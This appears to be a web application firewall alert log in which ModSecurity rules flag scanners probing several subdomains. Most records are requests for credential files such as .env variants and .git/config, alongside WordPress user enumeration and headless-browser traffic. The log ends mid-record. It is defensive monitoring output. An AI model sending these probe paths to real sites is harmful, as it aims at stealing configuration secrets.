name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nightlife.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/api/.env?_=74043ya8&v=02slu||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nobisys.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=g8altbcu&v=1sv54||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nightlife.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/dev/.env?_=8dptsayb&v=3irsv||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nightlife.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/srv/.env?_=c09uoqni&v=mb15p||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nobisys.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=x6bzdfqs&v=0nsxi||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nightlife.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/home/.env?_=0dsif08w&v=ym3z6||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nobisys.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.local?_=gy0czrg9&v=gi7p9||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nightlife.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/var/.env?_=7gke0l2l&v=wrel0||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nobisys.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.production?_=gmo9h6di&v=npilp||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nightlife.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/var/.env?_=21qb51eh&v=3w61y||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nobisys.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.staging?_=p261lxf9&v=fvc9z||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nightlife.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/app/.env?_=bi8z05cx&v=r62n1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nobisys.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.staging?_=rfl89oye&v=rrok8||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nobisys.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.old?_=hhlhbiyo&v=q54si||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nightlife.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/tmp/.env?_=vbbg984g&v=fz00a||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nightlife.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=6abo7ppt&v=un5wu&x=1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nobisys.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=9k6q80xu&v=hhdk3||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nobisys.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=q6pzdqge&v=ny05j||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nightlife.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.git/config?_=famei081&v=06urw||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/orders?per_page=100&page=1&modified_after=2026-07-16t10%3a35%3a05%2b00%3a00||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nobisys.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=yo8rfxox&v=ov5hk||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nobisys.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=8oo9e6tc&v=q0vrq||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nightlife.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.git/config?_=3nomtmzk&v=jczni||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nobisys.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=kpoqpl3y&v=qzu5a||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nightlife.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.git/HEAD?_=p6hp2l15&v=h71ua||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nobisys.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=pd0e4m8k&v=3w92e||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nightlife.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.git/HEAD?_=meuni151&v=p909h||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nobisys.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=bzflmnkz&v=w8nc7||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/orders?per_page=100&page=1&modified_after=2026-07-16t10%3a40%3a05%2b00%3a00||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nobisys.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=6f0g949o&v=irxpn||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nobisys.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=2zgjgfm8&v=0ve0u||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 34.138.13.228
country_id: 6252001
domain: nobisys.trangotech.dev
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.30||T:APACHE||REQUEST_URI:/wp-includes/wlwmanifest.xml||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 34.138.13.228
country_id: 6252001
domain: nobisys.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.30||T:APACHE||MV:/wp-json/wp/v2/users/||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/orders?per_page=100&page=1&modified_after=2026-07-16t10%3a45%3a05%2b00%3a00||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/orders?per_page=100&page=1&modified_after=2026-07-16t10%3a55%3a05%2b00%3a00||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/orders?per_page=100&page=1&modified_after=2026-07-16t11%3a00%3a05%2b00%3a00||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 122.211.213.43
country_id: 1861060
domain: fendahl.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/139.0.7258.5 Safari/537.36||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/orders?per_page=100&page=1&modified_after=2026-07-16t11%3a05%3a05%2b00%3a00||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/orders?per_page=100&page=1&modified_after=2026-07-16t11%3a10%3a05%2b00%3a00||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/orders?per_page=100&page=1&modified_after=2026-07-16t11%3a15%3a05%2b00%3a00||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=nnbl8c42&v=gwg44||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=dlscjn0d&v=wii7o||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=tipbr9yj&v=740rr||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=w2vvf49t&v=95f4r||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.local?_=i0nfuy09&v=qom63||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.local?_=hfkv14jl&v=i515k||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.local?_=11wn3zae&v=7l9c0||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.local?_=38wig79w&v=w3ucz||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.production?_=crb6yl4d&v=3mesl||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.production?_=4p09a1kh&v=zpsj3||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.production?_=i61qltn6&v=u12e8||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/orders?per_page=100&page=1&modified_after=2026-07-16t11%3a30%3a05%2b00%3a00||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.production?_=4wnk5mwb&v=2bf8c||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.staging?_=23w6i066&v=z38ke||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.staging?_=sckj9a5v&v=yl1ch||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.staging?_=o7ama5vk&v=ul7mw||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/orders?per_page=100&page=1&modified_after=2026-07-16t11%3a35%3a05%2b00%3a00||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.staging?_=bh1hovhe&v=pwwbg||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.bak?_=3drauq87&v=l85nf||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.bak?_=hkkvzns4&v=wewyi||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.old?_=jc6amrom&v=9b8cg||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.old?_=2jb3k4cr&v=nxeso||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/orders?per_page=100&page=1&modified_after=2026-07-16t11%3a40%3a05%2b00%3a00||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=sggenoui&v=mlynk||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=p6brh9ch&v=1du96||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=tephtwhf&v=eb4v4||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=p6lq1lyj&v=g1bxd||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=xy7cp19h&v=mxwc2||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/orders?per_page=100&page=1&modified_after=2026-07-16t11%3a45%3a05%2b00%3a00||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=b5do0odr&v=10yna||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=txauoow7&v=uu4a1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=06gjgkit&v=e84uw||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=8l3nrll6&v=wvxxv||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/api/.env?_=v8g392wo&v=v0rs8||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=bd0ch34w&v=jsoy6||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=z3rksvob&v=rcleo||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=i3pojtb8&v=ct362||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/dev/.env?_=dw0lfc5k&v=d222i||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/srv/.env?_=od3xzffm&v=1x8lm||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/srv/.env?_=26i0vfwo&v=x74h4||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/orders?per_page=100&page=1&modified_after=2026-07-16t11%3a55%3a05%2b00%3a00||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/home/.env?_=ikvfm2do&v=51zio||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/home/.env?_=n9pnl0oc&v=xm5nx||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/home/.env?_=ck8jkjoa&v=awbpx||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/var/.env?_=eseu52v9&v=oa7dn||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/orders?per_page=100&page=1&modified_after=2026-07-16t12%3a00%3a05%2b00%3a00||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/app/.env?_=3rfxirsd&v=bd1vz||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/app/.env?_=ce4aiuof&v=8l3io||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/app/.env?_=0o7z6uxz&v=849zj||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/tmp/.env?_=e4w0ryhp&v=pgxds||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=sltq6qvy&v=6i7z1&x=1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/orders?per_page=100&page=1&modified_after=2026-07-16t12%3a05%3a05%2b00%3a00||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=6le6htep&v=azdty&x=1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.72
country_id: 732800
